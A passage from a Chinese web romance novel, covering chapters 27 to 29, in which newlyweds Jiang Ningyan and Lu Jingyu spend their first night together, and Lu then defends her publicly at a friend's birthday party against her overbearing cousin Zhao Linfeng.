但是地库的大门在劳斯莱斯进来之后,就缓缓落下,轰隆一声关得结结实实。 江凝烟:“……” 不让她走? 江凝烟看着他从劳斯莱斯车上下来,地下室不亮,车灯的强光照射下,她只能看到他黑挺的轮廓。 完全看不清表情。 收腰的黑西装,腿修长笔直,头发的轮廓挺有型,看起来确实是准备出席非常正式的场合。 江凝烟的心脏怦怦怦直跳。 她在心里想好了,只要他皱眉,只要他皱眉,她就一脚油门冲出去。 他的皮鞋当当当的在地下车库回响,让她心跳加速。 汽车的尾气扑入鼻尖,她不喜欢汽油味,让她更想离开这个地方。 江凝烟面无表情地看着他往这边走来,脸都看不清,只看见轮廓就感觉气场很强烈,酷拽酷拽的模样。 陆京御长相是清冷挂的,要是不笑的时候,一身西装气场天然很强。 斯文但很像拽王。 只是一直对她很温柔,她也就遗忘了他本来的气质。 渐渐的,他立体的五官从黑暗中显现出来,像是被阳光照亮,他的眼睛看着她,眼尾漾着丝笑意。 笑着的? 江凝烟有点懵。 有些意外。 愕然得忘记了呼吸。 没两秒钟,他就走到了她的车边,清冷温柔的雪松木质香和馥郁缠绵的玫瑰花香扑入鼻尖。 他长身弯曲,俯身,长臂从她腿弯和腋下穿过,臂膀使了点力,轻而易举地将她从驾驶座位上抱了起来。 “想我了?”他声音有几分得意与喜悦。 江凝烟看着他的锋利流畅的下颚线,怔怔失语。听见他的声音看见他的表情好像刚才的情绪都消散了。 可她不是让他鸽了很多大佬,打断了他的工作吗? “赫龙汽车那有个技术问题要处理,还挺重要,已经天天跟他们一起加班到十点了……对不起,我该陪着你的……” 他听她在电话里说的一切都好,所以就专心在那工作了,没想到情绪闹起来像是暴风雨,说来就来。 他促狭地看了她一眼,“而且,我很多天不能洗澡,也有些怕被你闻到,索性一直在忙工作。” 江凝烟:“?” 居然还顾虑这? 他居然还在意这? 他确实几天不能沾水,不能让伤口感染,医生叮嘱的,但是,他此刻看起来很清爽,从头发到脚都干干净净的。 陆京御是属于皮相和骨相都完美的男人,骨相立体,皮肤白皙,英气又贵气。五官又是天生的剑眉浓睫,唇色也红艳,他不需要妆容,就可以帅得很耀眼,很夺目,像是雨后的夏天傍晚一般清新又热烈。 不过,他这么说,她想起来了,身上的伤也就是才四天时间,他这样横抱着她,胳膊使力,背上的伤不会裂吗? 江凝烟说:“你放我下来吧?” 陆京御声调拉长,温柔散漫,又像是在戏弄她,“不要。跑了怎么办?” 江凝烟:“” 她脸蛋暗暗烫起来。 陆京御凑在她耳边,声音特别暧昧地说:“我在飞机上洗过澡了。” 江凝烟心脏猛地漏跳一拍,感觉到他的手指若有似无地加大了按在她大腿上的力道。 她穿着A字短裙,他的指腹按在皮肤上,以他指尖按的地方为中心开始发热,向身体四周一圈圈扩散,逐步整个身体都滚烫,她腿下意识地夹了夹。 陆京御眼睛盯着她,眸色更深,眼底藏着笑意,“就是身上还有淤青,可能不如原来好看。你介意吗?” 江凝烟雪白的脸上透着潮红,看起来更多几分诱人的妩媚,没说话。 陆京御晃了下她,“给个话啊,介意吗?” 江凝烟心跳声音想得像是能覆盖他的脚步声,轰隆轰隆的。 陆京御又晃了下她。 她紧紧勾住他的脖子,“那我等会先看看吧。” 万一伤还是挺重也不适合。 陆京御脚后跟勾上门,把她抱进了他的卧室,直接推在门上,抵住她,鼻息呼在她耳侧。 江凝烟耳畔痒得整个半边脸都发麻,腿都发软。 陆京御眼底都是笑,“那你来脱?还是我脱给你看?” 第27章 我们好近 江凝烟想帮他脱。 但是, 手指激动得有些发抖,他今天这件西装只有一颗扣子,深V, 也是她买的,扣子有些别致,是方扣, 所以, 就有些紧。 她解了下没解开, 就硬扯。 陆京御失笑, “急什么啊。扯坏了。” 江凝烟忽然有些恼羞成怒。 她急? 是, 她急, 他不着急。 莫名有些讨厌他现在在笑。 分明刚才还觉得他要是皱眉,她就跑了。见他回来是笑着的,她还挺高兴。 突然反应过来,她刚才那状态,明显是一直被爸爸这样的男人pua了, 直接拉低了她对男人的要求, 所以只要他是笑着的, 她就满足了。 但, 这对吗? 这不对啊! 这特别不对啊! 这很可怕! 这容易让她好不容容易从原生家庭的坑中走出来, 掉进另一个坑里!男人对她不发脾气, 对她笑就满足了? 电视剧里男主角赶去见女主,那都是用跑的啊, 拼命飞奔, 一边笑一边拼命奔跑, 那种镜头看着才像是爱。 她脑海里回放刚才陆京御下车那几步,游刃有余, 如闲庭散步。 可是,他为什么不着急啊?她都要开车跑了,他居然一点也不着急,他也不发疯。 好好好。 她早晚给他跑一个。 看看他究竟什么状态。 但今晚,还是屈服于色心,先把他睡了吧。 可她就是个急性子,还是忍不住,今晚就想试探。 她猛地推开他,冷着脸不高兴地道:“你笑什么?你是一点都不着急。” 陆京御猝不及防被她推了一下,往后退了一步,怔住。 怎么了这是? 刚才不是还好好的吗? 江凝烟下唇微微发抖,睫毛下垂,然后卷翘的睫毛颤了一下,看着他说:“不想和你玩了。” 陆京御呼吸停顿了一下,心脏皱成一团。 江凝烟说:“你这么多天不回来,回来还笑我急,刚结婚就这样,以后我不敢想象。” 陆京御倒吸一口气。 江凝烟接着说:“你以为我解你扣子是想跟你睡觉?你想得美。” 陆京御瞳孔缩放。 江凝烟眸底含着火气,“我只是想看看你的伤口,既然惹你误会了,那就这样吧。” 她说完,转身就走。 陆京御回过神来紧紧拽住她的手腕,猛地将她抵在墙上,单手捉住她的手腕,反扣在她头顶,另一只手贴着她的腰线,轻轻往上,唇角依旧噙着抹笑,却卸去了平时的温润感,有了压迫感,“就这样?” 江凝烟腰上被他抚得像是羽毛在挠她痒痒,腹部屏了一下,陆京御的指腹,顺着她的马甲线,由下往上…… 她的骨头就像就是被无形的布裹住了,一动不动,只有敏感的肌肤在微微颤抖。 她睫毛颤了两下,看着他眼尾渐渐晕染得更红,心脏的尖尖抖了两下。 陆京御压低声音,说:“你走一个试试?” 江凝烟心跳莫名加速,血管里的血液好像受到了什么刺激,在疯狂地撞击着血管。 有点那个味了诶。 这真令人兴奋。 江凝烟努力压住唇角,“走了?又怎样?” 陆京御劲劲地说:“你走,我就把背上那道伤口撕了。” 江凝烟睁着圆溜溜的眼眸看着他,浓密的睫毛一眨,呼吸都滞住,体内的血液却在有节奏的律动,异常活跃。 这哥狠起来撕自己? 陆京御手指抚着她,咬牙切齿地说:“等会我给你看看我打不通你电话的时候的心率多少。” 江凝烟好奇地问:“多少?” 陆京御冷笑着说:“180。” 他噼里啪啦地炸了,“还刚结婚就这样,你的小良心呢?” “你分明说的有几十个保镖在,一切都好,忽然发飙,就关机了。” “你一关机,我心率瞬间飙到180,手机都滴滴滴疯狂报警了。” “让阿姨敲你门,知道你在家里,只是想我回家,我才放松了点,立刻跑回来。大暴雨也无所谓,那飞机颠得就跟坐过山车没区别,你知道我恐高。没关系,只要你想我回家,我还是高兴。” “你根本用不着关机。只要你说一句想我了,想我回家,无论我在做着什么重要的事我都会回来见你。” 他话音落下,幽静的房间里只有两人略重的呼吸声。 他难得语气很硬的跟她说话,江凝烟不觉得害怕也不觉得生气或者难过,因为他说的内容…… 江凝烟眨眨眼,小嘴微张成小o型。 江凝烟:“……” 心率180? 这是什么恐怖心率? 不是都可能引起什么心肌梗死,生命危险了吗? 只要她说想见他了他就回家?她真乱用这个召唤术,他高兴?他……确定? 但她很快被他的手转移了注意力,陆京御一回生两回熟,这次解她的前扣都可以单手了。 轻微一声细响…… 江凝烟像是被定住了,一动不动。 陆京御盯着她的眼眸幽深,像是无底的深潭,能将人溺得晕头转向。 陆京御抵着她的额头,唇逐渐压向她,哑声道:“你还想我更急一点?那我真不知道还能不能活着见到你。” 江凝烟唇下意识地张开,他深入卷住了她的舌,狠狠地吸住。 江凝烟嘤.咛一声。 陆京御含着她的唇,扫荡席卷后,撤出,贴着她的唇,含糊不清地说:“我知道你只是想我回来,能不开心吗?你会想我了……” 他的眼神让她心脏像是被熨斗烫了下。 她终于会想他了。 他眼神盯着她,狠厉中居然有一丝委屈,“一直以来,我都觉得我死在外面你都无所谓。” 他手像是惩罚似的,捏了一下她,不重,但是感官震撼。 江凝烟目光立刻含水,潋滟地注视着他。 陆京御唇贴着她的唇畔,没有深入,重点在手上,他逼问她,问道:“你现在到底在不在意我啊?” 江凝烟抬起下巴,受不了地闭上眼。 黑暗让肌肤摩擦的感觉更加明显。皮肤像是被放在蜡烛上烤,热得快要焦掉。 陆京御:“把我招回来,还想走?还什么不跟我玩了?你到现在还只是玩我?” 她抬着下巴脖子更长,穿了一件V领的针织衫。 陆京御半耷着眼皮看她,卷起了针织衫,低头吻住她。 她下巴抬得更高,脑子昏昏沉沉,完全没把他的问题放在心上,像是自动过滤了。 被他轻轻咬了下,江凝烟颤了下,才知道他大概要个答案。 江凝烟自己也不知道,说在意吧,如果他先要离开,她也会微笑地祝福,不过就是表面祝福,背地里骂他一万遍。然后更讨厌这个世界。 陆京御忽然脱了她的上衣,把她抱起来,往浴室走去。 浴缸了放着水,热气一下子氤氲满整个浴室。 主卧的浴池是嵌入式的,抬起了一个台面,大到都可以游泳了,边上都是大理石铺起来的台面,一边铺得很宽,边上有个滚动的架子上面放了些精油、沐浴露等洗护用品,还有几块浴巾。 陆京御随手抓了条洁白的浴巾铺在上面,把她整个人放在宽敞的台面,她坐在浴巾上面,背靠在冰冷湿润的大理石墙面上。 身上就只有一条短裙了,已经被推到腰间。 浴缸很大,放水要些时间,他往他手心挤了些沐浴露,把自己的手在浴池里洗干净。 水流声音暧昧。 江凝烟抱膝,看着浴室里暖黄的光打在他的侧脸上,切出流畅又锋利的轮廓。 她一直不回答大概惹到他了,他这时候没在笑,表情冷冷的,极具压迫感。 她想到等会可能的姿势,在这个位置想想都知道可能的姿势,脸蛋发烫,下巴搁在自己膝盖上,眼睛湿润润地盯着他,说:“光线暗一点吧。” 陆京御转眼看了她一眼,“知道害羞了?” 根本不在意还瞎撩,胆子是真的大。 江凝烟又摆烂了,“那随便你吧。” 反正她闭上眼睛管他呢。 腿猝不及防地被cheng.开。 他的手湿漉漉的。 她呻.吟一声,眼睛立刻闭上,后背紧紧地贴在大理石墙面上,做支撑。 但她还是看见了前面整面洗漱镜里完整地照出她的样子。 闭上眼,脑海里的画面依旧清晰。 他声音凑在她耳边,又问她,咬音偏重,“到底在不在意我啊?” 江凝烟觉得骨头都被他融化了,浴室里的雾气潮得她的眼睛湿润润的,“呜,别这样……” 他难得恶劣,分明知道她说的是别哪样,偏偏哪样,说:“你知道我想听什么,怎么不说了?” 江凝烟受不了了,额头靠在他宽阔的肩上,不肯回复。 她的手抓住了他的西装腰侧。 陆京御心想前两天还张口就是甜言蜜语,今天倒是不肯说了,这个姑娘真的是会搞他,但是被她这样靠着,她手指这样抓着,他的心就很软。 他不肯放弃,低声诱哄道:“说不出口的话,点个头,行吗?” 江凝烟脑袋靠在他肩膀上一动不动,像个雕像,倒是抓着他西装的手指越收越紧,手指又白又粉。 很快,陆京御的西装湿透了,像是被雨淋了。 他站起身,脱掉了西装。 江凝烟喘息着,撩开眼帘看他,他身上的淤青都还没褪,不肿了,但还有些青。 她不介意,宽肩窄腰双开门,身上有些伤更加有战损感,更男人了。 她张金口,回答了他最早的问题,问她介不介意他身上都是淤青,“我不介意。” 陆京御听错了。他听成了我不在意。 他猛地欺身过来,那股劲道就像捕猎的豹子,江凝烟被他吓得心脏跳出喉咙,连连安抚,“我说我不介意你的淤青啊。” 第一次她不想找死,留着以后玩吧。 他把她抱进浴池里,“你最好在能彻底适应我之前就在意我。” 哦。 意思是念在她第一次他不会过分,但以后她适应了就要发狠了? 两人一起在浴池里,她躺在他的身上。 他的手挤了一些沐浴露,抚着她白皙的肌肤,在帮她洗澡。 她被他捏得舒服得差点睡着。 他用浴巾把她裹起来,放到床上后,顺手将自己也擦干了。 他撕开了包装,像是在撕着她的心脏。 撕包装的声音在夜里炸响,两人心脏越跳越重,他眼睛盯着她,眼神像是要将她吞下去,江凝烟以为他终于要…… 没想到落下来的还是吻,她快被他吻哭了。 猝不及防的,疼痛席卷了她。 江凝烟手攀上他的脊背,紧紧抓住他的肩膀。 陆京御心彻底化了,手穿过她的后背,完全将她拢在臂膀里,“烟烟,我们好近。” 第28章 ”你记着。下次,求我也没用了。” 他好会出汗。 暗淡的光线下, 他一出汗,冷白的脸上就泛起潮红,鬓角的发湿透了, 看起来别样的俊。黑眼珠像是从水里捞出来的黑曜石,莹亮水润,手臂绷得肌肉线条蓬勃鼓起, 长条形状的肌肉虬结在臂膀上, 光线下曲线结实又清晰, 泛着水光。 江凝烟眼皮撩开一条缝隙, 偷偷看他, 看向来端正矜贵的他此刻的活色生香。 她手攀上了他的大臂, 抓着他。 “好受点了?”陆京御低头吻她泪盈盈的眼,只有上半身在动,下半身像是静止的。 江凝烟半睁着眼睛,湿透的眼尾翘起来,声音黏糊糊的, 有点哑, “你运动后又水灵又红润真好看。” 陆京御在她耳边轻笑出声, 亲吻着她耳朵, 声音听起来哑得有些痛苦, “到底谁又水灵又红润?” 江凝烟看不见自己的样子, 她不管自己成什么样了,反正她看不见, 她只看见他的样子又劲又魅又热又欲。很满意他的模样。 她感叹自己拥有得晚了些, 不然今天已经可以玩花式了。 而不是现在这样, 他大概知道她疼,草草结束。 她没懂这运动的魅力在哪里, 只是看着陆京御运动后的模样很喜欢。看他克制隐忍的样子,更加激发她的玩心,很想看他毫无顾忌的放纵是什么姿态。 他真能忍。 分明do之前都被她逼到那份上了,她就是不说在意他,他分明很想要个答案,但真到床上,依旧特别温柔,小心翼翼地不弄疼她。 不过,虽然温柔,他还挺有策略,该狠的时候毫不含糊,减少了她的痛苦。 陆京御抱她到浴室又洗了一遍。 江凝烟趴在他胸膛上,手指划着他刚刚用过力臂膀上还没来得及消退的那两根青筋,拨过来拨过去,也能玩得起劲,“你是不是骗我的啊?” 她沾水的睫毛像是黑刷子,眼神慧黠地注视着他。 “骗你什么了?”陆京御好整以暇地看着她,看她还要闹什么。 “你不像第一次啊。” “为什么不像?” “这都能忍得住,像是千锤百炼过的,很能控制自己。” 陆京御抓住她作乱的手指,眼眸微眯,盯着她看了半响,对方眼神也直勾勾地看着他,好像非得要个答案。 他视线瞥开,道:“不是自控,是失控。” 江凝烟不明所以,“嗯?” 陆京御淡淡地说:“第一次很激动,所以有点快。” 江凝烟沉默了一秒,睁圆了眼睛,不可思议地注视着他。 陆京御用瓢捞了点水,给她淋在肩头,怕她这样伏在他身上泡不到热水,着凉。 他那么体贴地对她。 她居然非常惊恐地问:“哥,你该不会性功能障碍吧?” 瓢本来像是漏斗一样一点点漏着水,陆京御手抖了下,像是翻了的脸盆,直接浇在她肩头。 江凝烟觉得他这个反应就是实锤了。 她就说,哪有他这种条件的人这把年纪还处男的? 稳定地谈女朋友,不乱搞男女关系已经很难得了。 怎么可能是处男? 难怪她试探了好几天,他都不为所动。 难不成真的是性功能障碍? 性功能障碍在男性中的比例也不算小,还挺多的。 而且他们第一次亲密也是,他就用嘴,用嘴把她弄得受不了了,没发现他有什么异样。他还想吓跑她。 今天真弄了,他就很速度。 江凝烟觉得八九不离十了。 她用一种十分同情十分怜爱的眼光看着他。毕竟,他这么好,哪哪都好,怎么落了这么个缺陷。 天呢。 这太令人悲痛了。 她希望他是世界上最完美的男人。 怎么弄了这么个缺陷? 她也好失望啊。 撩了半天,撩了个性功能障碍的。 不是,他怎么能长着这么欲的一张脸,然后,有障碍呢? 啊,她的刺激没有了,就这么猝不及防的没有了。 啊。 她像是损失了上百亿一样悲痛。 陆京御真的是,服了。 这姑娘每天不会感动于他温柔,他关怀,他花钱,他还给命,每天只感兴趣他行不行,厉不厉害,刺不刺激。 陆京御真的很气,很气,但拿她没办法,他今晚不能自证,会伤到她。 担心她撕裂,最好再隔三天。 怎么会有人这么可爱又这么会惹他,陆京御臂膀抱住她的后腰,“有你求我的时候。” 他臂膀用力压着她的后腰,“你记着。下次,求我也没用了。”- 第二天一大早,江凝烟收到一个电话。 是她圈子里的朋友何澜问她身体好不好,能不能参加晚上她的生日派对。 重要社交江凝烟都会参加,毕竟,对方重要的日子,她要是不去会影响两人的关系。 “我来。” “真的吗?你身体不会太勉强吧?” “昨晚忽然有点肚子疼,一会就好了。” 何澜促狭地笑道:“哎呀,就有点肚子疼,老公就千里迢迢跑回来了啊?陆公子这是沦陷了啊,他有空来吗?” 陆京御这时刚好从衣帽间出来,江凝烟朝他璨璨一笑,虽然不完美,但是在外人面前给足了她体面。 这哥除了那方面不得劲之外,真的无可挑剔啊。 她更惋惜了。 老天怎么对好男人这么残酷呢? 陆京御看她这眼神,眯了眯眸子。 江凝烟笑着转开眼,“等会发微信告诉你我是一个人来还是两个人来。” 江凝烟还没挂掉电话,陆京御直接来了一句,“当然两个人。” 电话那头的何澜听见噗嗤笑出声,“好好好,两个人。” 江凝烟压住唇角的笑,“那,我帮你好好打扮打扮?” 陆京御心里咯噔一声,这是觉得他平时不够帅,还需要她来帮他打扮? 不是,他哪次公开亮相不是惊艳众人的? 他已经是很会收拾自己的男人了。 江凝烟笑嘻嘻地道:“丈夫的容貌,妻子的荣耀。” 陆京御也随她倒腾,两人吃完午饭就开始准备这个宴会。陆京御从来没在外貌上下过这么深刻的功夫。 他先是被按在沙发上,身后的发型师开始给他做头发。 而江凝烟跪坐在他的腿上,给他细细地贴上面膜。 陆京御看着她手还不忘扶住她的后腰,怕她跪在沙发边缘,掉下去。 “你等着,我去给你找西装和首饰。”江凝烟乐颠颠地跑了。 然后从衣帽间里选出来好几款首饰,好几套西装。 这次她不挑深V了,不能露那么多给别人福利,但也得露一点。就找了个V领内搭。 脖子上,他从不戴项链,给他整上。 耳骨夹、戒指、金丝边眼镜,全都整上。 今晚陆总一定是艳惊四座! 帮他把饰品挑出来之后,她就开始打扮自己。 江凝烟挑了件分叉吊带长裙,修身又托胸,衬得身材很火辣,唯一一点这条裙子的裙摆薄纱有点拖地,走路有点麻烦。 这次是她跟陆京御第一次去参加别人的宴会,隆重点。 她从衣帽间出来,看见陆京御已经按照她的要求穿戴整齐,整个人都在发着光。 江凝烟眼睛亮了。 陆京御斯文败类简直轻松拿捏。 不对不对,他不是斯文败类,他是斯文败了,床上败了。 江凝烟憋着笑。 陆京御眉梢微挑,不知道她狡黠的表情下,脑袋瓜里又在想什么。 两人手挽着手出门。 到了何澜家的四合院。 何澜是真千金,家世好,人又漂亮大方,江凝烟跟她相处一直挺愉快。 她们俩是自己在某次朋友组织的局上认识的,挺聊得来,之后,要是去参加一些高端宴会,如果两人都被邀请了,那江凝烟一般会跟她在一起。 今天她的生日宴会,是满二十的宴会,特别隆重,来了很多人。 何澜看见他们夫妻俩进来,上前迎接,跟陆京御打了招呼之后,就把江凝烟拉到一边说悄悄话,“我的天呢,帅得太超过了吧!啊啊啊啊!” 她一边跟江凝烟说悄悄话,一边暗瞟不远处插兜站着注视着她们的陆京御。 陆京御一独处,立刻有一群人围上来跟他寒暄,在一堆家世显越衣着贵气的年轻人中,依旧鹤立鸡群。 他立在火树银花下,氛围感卓绝,妥妥极品贵公子。 江凝烟笑,“生日快乐啊。我的公主。今天超漂亮。” 江凝烟给了她一份礼物,何澜开心收下,跟她说悄悄话,“有事问你,我家里想让我跟你表哥相处看看,你表哥人怎么样啊?咱俩可是闺蜜,你可不能坑我,你得老实告诉我。” 江凝烟一听表哥这个词,脸色就蓦地一变。 何澜?跟赵临风? 那得吃多少苦? “烟烟!” 说曹操,曹操就到。 江凝烟听到了赵临风喊她。 抬眸,看见赵临风从屋里走出来。 何澜看见赵临风走过来有些害羞。 赵临风的长相那绝对也是上成的,再加上家世,赵家三代独苗,集万千宠爱于一身,公子病不是一般的严重,被宠得一身脾气。 小的时候,一吵架他发起脾气来就会动手。 长大了,依旧一不顺心就甩脸子。 以前还有姥爷压压他,如今姥爷也走了,舅舅舅妈只会纵着。 他非常自我中心,这样的大爷,才二十三岁,家里就要安排他传宗接代了啊? 这臭脾气还那样呢,娶了老婆之后知道怎么疼老婆吗? 江凝烟非常怀疑。 但她也不能说他不好,毕竟,家丑不外扬。 可是,何澜…… 真的是个好姑娘。 江凝烟脑子疯狂转动,最终决定当个人,跟她说:“他好不好我这个当妹妹的滤镜下那绝对好啊。我觉得你可以想办法测试一下他。比如,找人撞了他,酒洒到他身上,看他什么反应。” 这哥保证甩脸子。 他甩完脸子周围还一堆人哄他。当然,他也不至于真干啥出格的事,毕竟赵家的长辈是要脸的,绝对不允许他闯祸,八成就是哄半天才能消气。 嗯,姐妹,只能帮你到这儿了。 何澜懂了,立刻低头发了条微信。 转眼,赵临风走到了她们面前,“烟烟,你跟何澜认识啊?” 江凝烟笑得甜甜的,“嗯。哥,你跟澜澜什么时候认识的啊?” 赵临风说:“才认识没多久,前几天吃了顿饭。” 赵临风忽然想到什么,对江凝烟说:“我的手机落在餐桌那儿了,去帮我拿下。” 江凝烟微笑。 又来。 又使唤人。 自己没手没脚是吧。 您看我穿这么漂亮,裙摆这么长,穿着高跟鞋,给您做丫鬟合适吗? 但她也只能微笑,不能在这种场合跟他起冲突,“好,我去找找。” 如果她跟他多废话,他八成不耐烦地来一句,“让你去你就去,哪那么多废话?” 江凝烟要不是这种特别的场合也不穿高跟鞋,今天穿了七厘米的高跟鞋,对她来说已经算高了。 她一移动,视线一直在她身上的陆京御倒是立刻过来了,他从人群中走出来,让她挽着他的胳膊,“干什么去?” 江凝烟笑笑道:“我哥手机落在餐桌那儿了,他跟澜澜有事说,让我去帮他拿一下。” 江凝烟心里不想让陆京御察觉到赵临风对她的态度,所以尽量帮赵临风说话,其实挽救的是自己的颜面。 陆京御眉心微皱了一下,转瞬即逝。 江凝烟心情已经坏了。 早知道他来,就穿低跟的,也不穿拖地的了。 恰巧裙摆还特别不听话,鞋跟踩到裙摆之后,勾住了薄纱的丝。 陆京御发现了,“别动,我来。” 他蹲下身,手指轻轻地帮她解开缠住鞋跟的纱。 江凝烟看着他的发心,今天陆总的发型特别精致,每根发丝都是发型师精心打理过的。从头到脚都贵气逼人,家世上,陆家可不会比赵家差半点,甚至比赵家加江家还厉害些,但他没有一点架子,很绅士很细心,给足妻子体面。 周围好多人在笑,起哄,大多数是羡慕的眼光,祝福的声音。 可见陆京御在圈子里口碑非常好。 江凝烟刚才的坏心情忽然好了那么一些。 她拿到了手机,拿去给赵临风。 走到赵临风附近的时候,刚巧一个姑娘匆匆路过,踩了裙摆,然后手上的香槟不小心扑到了赵临风脸上。 江凝烟屏住呼吸,“……” 我丢。 姐妹,玩这么大,这下赵公子不得核炸了? “怎么走路的?”赵临风果然爆了,“这么不长眼?” 周围好几个人跑到他身边开始哄他,“哟,不小心的吧?姑娘不小心踩到裙子了,赵公子您消消气哈。” “还不快给赵公子赔不是?” 那姑娘立刻给他赔不是。 周围人七嘴八舌地哄他。 赵临风抹了一把湿透的脸:“不小心?我看你是故意的。” 何澜皱眉,不高兴了,也没说什么,“算了算了,今天我生日,给个面子?” 赵临风脸色很臭,这时候目光捕捉到江凝烟。 江凝烟因为要给他拿手机过来,离他比较近。 他对着她炸了一句,“你愣着干嘛?还不快去给我拿毛巾?” 所有的目光射到她脸上,江凝烟脸唰的一白。 第29章 “怪我出现得太迟,但幸好,爱得很快。” 江凝烟真的讨厌赵临风这种公子哥。 娶不到老婆是他应有的福报。 她真的很讨厌赵临风, 讨厌他的阴晴不定,讨厌他要人伺候的臭毛病,讨厌他吃不下的东西强迫给她吃。 赵家祖上就发达, 却是有个祖训那就是节约,不能浪费食物。 他们觉得是罪孽。 所以,赵临风会被要求吃掉给他准备的食物。 只要她去赵家, 赵临风就高兴了, 吃不下的偷偷拿给她, 让她吃掉。 后来被舅妈发现了。 她还以为他会被教育一下。 没想到某次她在姥爷家吃饭的时候, 舅妈依照惯例把赵临风要吃的挑出来, 挑得特别多, 当着大家的面,说:“多吃点,吃不下给你妹妹,别剩下了。” 一桌子人、没有一个人、对这句话有反应! 大家都乐呵呵地在吃饭。 这事,表面上她舅妈太溺爱自己儿子, 但这一桌子男长辈没一个吭声。 他们的沉默就是压迫! 江凝烟想起来就生气。 赵临风营养这么好, 长这么大高个, 还有她这个垃圾桶的功劳。 但是, 她这些年依旧选择惯着他们。往近的说, 跟赵家保持良好的关系可以让她在江家过得好一些。 往远的说……她有更长期的规划。 她可太知道人这辈子应该追求什么了, 权力、金钱、地位、人脉、资源! 只有这样,才能让自己活得体面! 她要往上走, 要往官场走, 就不能跟赵家翻脸。 她这些年在赵家的处事原则是能讨好就讨好, 能忍就忍,小不忍则乱大谋, 就跟现在这些哄着赵临风的人一样。 但她今天这场面真有点忍不住了,大庭广之之下,把她当丫鬟使。 现代社会,对保姆,大多数人都好声好气地跟人家说话。毕竟,人家只是拿劳动力换钱。 而她表哥,在众人面前对她颐指气使,她要是逆来顺受,那她以后出去都会成为京圈笑柄。 赵家没人把她当回事,外人更不可能把她当回事。 正当她在考虑怎么刺他的时候,边上有道冷冷的声音,不算响亮,但却让这片喧哗寂静下来,“赵临风,我老婆,为什么要给你拿毛巾?” 所有人的视线唰唰唰地射向陆京御,包括江凝烟。 陆京御微微低着头,转着食指上江凝烟给他选的戒指。银黑色的,看起来刚硬又有格调。 江凝烟难得见陆京御冷脸,半耷的眼皮眸底都是寒光。 江凝烟在心底衡量陆京御和赵临风。 觉得这两人根本不能放在一起比较。 论个人,把陆京御跟赵临风比简直就是对陆京御的侮辱,家世也是陆京御厉害一些。陆家祖上开始便荣光无数。但,即使如此,他们这种地位的人,不会轻易得罪对方。能交友就交友。 然而,陆京御这话不满对立的态度已经摆到明面上来了。 戏剧化的,陆京御这一句话之后,所有围在赵临风身边,就差拿自己袖子给他擦的这群人,瞬间散了,离他短则一米远,长则三米远。 赵临风愣住了。 他完全就是平时的习惯反应,没意识到这句话会惹怒陆京御。 他忽然想起来,他爸叮嘱过他:妹妹嫁人了,在外面要给她面子,那也是给陆家面子。 陆京御撩起眼皮,那双丹凤眼凌厉地射过去,“姥爷让你照顾妹妹,不是让妹妹照顾你,做哥哥的,有没有点做哥哥的样?” 江凝烟觉得陆京御这话说得很有头脑。 这种情况下,他说的是“姥爷”让他照顾妹妹,表明了他刚才对立与不满的态度仅针对赵临风个人,而不是针对整个赵家。他依旧敬重赵家敬重她姥爷。 另外,他没有只把陆家推出来给她当靠山,而是把赵家也推出来给她当靠山,他把赵家跟赵临风个人剥离开来。这样外人只会觉得赵家小辈不懂事,没当好哥哥,而不是整个赵家都不重视她。 虽然真实情况是,整个赵家都不重视她。 同时,这话也满是责备,给人压迫感,警告了赵临风。 赵临风脸上的香槟顺着下颚线,啪嗒,啪嗒,啪嗒,砸在青石地板上。 所有人都屏息等着他反应,看这两位公子哥杠起来是什么天崩地裂的景象。 院子里静悄悄的,静得枫叶落进水池里的轻微声响都可以听到。 这时候,有人机智地给赵临风铺台阶,道:“临风平时肯定是宠爱妹妹的,天天跟我念叨妹妹有多可爱,这不刚好在气头上,人嘛,总是在家人面前不怎么顾忌。但临风绝对是疼爱妹妹的。” 江凝烟:“……” 如果这都是爱。 那她无话可说。 那人扯了扯赵临风的袖子,赵临风抹了把脸,唇角勾起,讥诮地笑了笑。不知道在笑谁。 他知道这事也怪他习惯性行为,在外人面前没给妹妹留面子,先打了陆家的脸,难怪陆京御生气。 他硬是跟他杠,他爸也不会帮他,毕竟,陆京御已经是个能独挡一面的年轻人,他姥爷他爸都会给他面子,而他,毕竟还嫩,完全是家族荫庇。 他爷爷虽然帮过陆爷爷忙,同样,陆家也不知道帮过赵家多少次,都是互帮互助。 赵临风拍了拍已经湿透的袖子,“好了,是哥的不是。这不被人惹恼了嘛。” 他对何澜说:“我先走了,回家换衣服去了。” 何澜点点头,“慢走,赵哥。” 何澜看着都心惊,好大一个男宝啊。 要不是江凝烟够意思,她这辈子嫁了这么个祖宗,简直万劫不复。 她看向江凝烟的目光瞬间闪闪发光。 为了姐妹情,抛掉了家族利益,这是什么绝世姐妹情。 赵临风走后,江凝烟也忙着应酬,周围的人都对她很热情很友好。江凝烟内心很清楚,这些人不是看在赵家的面子就是看在陆家的面子。 然而,这些面子都是短暂的。 她清楚的知道,自己其实一无所有。 赵家不重视她,早晚所有人都会知道。 陆京御虽然爱护,但早晚他也会知道,他爱护的人给他带不来任何利益。渐渐的,也会看轻她。 她也没想过一直靠陆京御的庇护。 有权力的人他可以选择做个好人,善待别人,但当他不想当好人的时候,比他阶层低的人一点办法都没有。这就是最可怕的地方。 假如有一天,陆京御知道连赵家都根本都不在乎她,而他恰巧也变了,想要欺负她,她一点办法都没有。 早晚,她得自己强大起来。 她想自己拥有权力,而不是仰仗谁的权力。 她想活着尽量让自己的能量大一些。 赵临风今天对她的态度,还是对她产生了些影响,让她更清楚地认识到自己其实一无所有。 宴会很喧嚣,她却觉得很孤独。 他们的吹捧羡慕都不属于她,或许是陆京御的下一任妻子,或许是真正的小公主何澜。 她其实只是表象。 何澜拉着她感激之情滔滔不绝,说她大义灭亲,说她重情重义,说她是她一辈子的好姐妹。 江凝烟心里发笑。 并没有,她没这么好。 她跟何澜说:“以后我要是有难,别让我随便被人欺负就行。” 她说这话的时候,陆京御眉心蹙了一下,目光落到她脸上。 何澜连连点头,“那是当然,彼此彼此。” 晚上陆京御背上还有伤,不能喝酒,所以她多喝了点。夫妻俩总得有个人代表。 没想到后劲有点大。 陆京御发现她的异样的时候,她已经走不稳了。 陆京御横抱着她回家。 劳斯莱斯星空顶下,汽车缓缓行驶,天气正好,江凝烟开着车窗,坐在陆京御的腿上,霓虹落在她的脸上,落在她价值连城的首饰上,浑身上下都散发着昳丽夺目的光芒。 陆京御看着她,她打扮得这么漂亮,一看就是个高贵明艳的小公主。但好像事实并不是他想象的这样。 不知道赵家的长辈私底下如何,但,赵临风的态度令他震惊。 居然有人这样对自己的妹妹。 “看着我干嘛啊?”她拉长了调,带着点撒娇的味道,转过脸来看他。 